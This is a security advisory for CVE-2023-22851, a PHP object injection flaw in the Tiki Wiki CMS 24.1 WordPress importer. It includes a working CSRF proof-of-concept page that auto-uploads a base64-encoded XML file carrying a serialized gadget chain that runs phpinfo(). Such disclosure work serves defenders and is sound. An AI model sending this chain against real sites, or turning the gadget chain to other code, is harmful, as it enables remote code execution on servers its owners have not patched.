Tiki Wiki CMS Groupware 24.1 tikiimporter_blog_wordpress.php PHP Object Injection
----------------------------------------------------------------------------------------------------Tiki Wiki CMS Groupware <= 24.1 (tikiimporter_blog_wordpress.php) PHP Object Injection Vulnerability----------------------------------------------------------------------------------------------------[-] Software Link:https://tiki.org[-] Affected Versions:Version 24.1 and prior versions.[-] Vulnerability Description:The vulnerability is located in the /lib/importer/tikiimporter_blog_wordpress.php script. Specifically, when importing data from WordPress sites through the Tiki Importer, user input passed through the uploaded XML file is being used in a call to the unserialize() PHP function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code. Successful exploitation of this vulnerability requires an admin account (specifically, the ‘tiki_p_admin_importer’ permission). However, due to the CSRF vulnerability described in KIS-2023-01, this vulnerability might also be exploited by tricking a victim user into opening a web page like the following:<html> <form action="http://localhost/tiki/tiki-importer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="importerClassName" value="TikiImporter_Blog_Wordpress" /> <input type="hidden" name="importAttachments" value="on" /> <input type="file" name="importFile" id="fileinput"/> </form> <script> const xmlContent = atob("PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8cnNzIHZlcnNpb249IjIuMCIgeG1sbnM6d3A9Imh0dHA6Ly93b3JkcHJlc3Mub3JnL2V4cG9ydC8xLjIvIj4KIDxjaGFubmVsPgogIDxpdGVtPgogICA8d3A6cG9zdF90eXBlPmF0dGFjaG1lbnQ8L3dwOnBvc3RfdHlwZT4KICAgPHdwOnBvc3RtZXRhPgogICAgPHdwOm1ldGFfa2V5Pl93cF9hdHRhY2htZW50X21ldGFkYXRhPC93cDptZXRhX2tleT4KICAgIDx3cDptZXRhX3ZhbHVlPjwhW0NEQVRBW086MjU6IlNlYXJjaF9FbGFzdGljX0Nvbm5lY3Rpb24iOjE6e1M6MzE6IlwwMFNlYXJjaF9FbGFzdGljX0Nvbm5lY3Rpb25cMDBidWxrIjtPOjI4OiJTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uIjozOntTOjM1OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwY291bnQiO2k6MTtTOjM4OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwY2FsbGJhY2siO1M6MTQ6ImNhbGxfdXNlcl9mdW5jIjtTOjM2OiJcMDBTZWFyY2hfRWxhc3RpY19CdWxrT3BlcmF0aW9uXDAwYnVmZmVyIjthOjI6e2k6MDtPOjIyOiJUcmFja2VyX0ZpZWxkX0NvbXB1dGVkIjozOntTOjMyOiJcMDBUcmFja2VyX0ZpZWxkX0Fic3RyYWN0XDAwaXRlbURhdGEiO2E6MTp7Uzo2OiJpdGVtSWQiO2k6MTt9UzozMToiXDAwVHJhY2tlcl9GaWVsZF9BYnN0cmFjdFwwMG9wdGlvbnMiO086MTU6IlRyYWNrZXJfT3B0aW9ucyI6MTp7UzoyMToiXDAwVHJhY2tlcl9PcHRpb25zXDAwZGF0YSI7YToxOntTOjc6ImZvcm11bGEiO1M6MTQ6Im51bGw7cGhwaW5mbygpIjt9fVM6NDE6IlwwMFRyYWNrZXJfRmllbGRfQWJzdHJhY3RcMDB0cmFja2VyRGVmaW5pdGlvbiI7TzoxODoiVHJhY2tlcl9EZWZpbml0aW9uIjowOnt9fWk6MTtTOjEyOiJnZXRGaWVsZERhdGEiO319fV1dPjwvd3A6bWV0YV92YWx1ZT4KICAgPC93cDpwb3N0bWV0YT4KICA8L2l0ZW0+CiA8L2NoYW5uZWw+CjwvcnNzPg=="); const fileInput = document.getElementById("fileinput"); const dataTransfer = new DataTransfer(); const file = new File([xmlContent], "test.xml", {type: "text/xml"}); dataTransfer.items.add(file); fileInput.files = dataTransfer.files; document.forms[0].submit(); </script></html>[-] Solution:Upgrade to version 24.2 or later.[-] Disclosure Timeline:[07/03/2022] - Vendor notified[23/08/2022] - Version 24.1 released[09/01/2023] - Public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-22851 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:http://karmainsecurity.com/KIS-2023-04
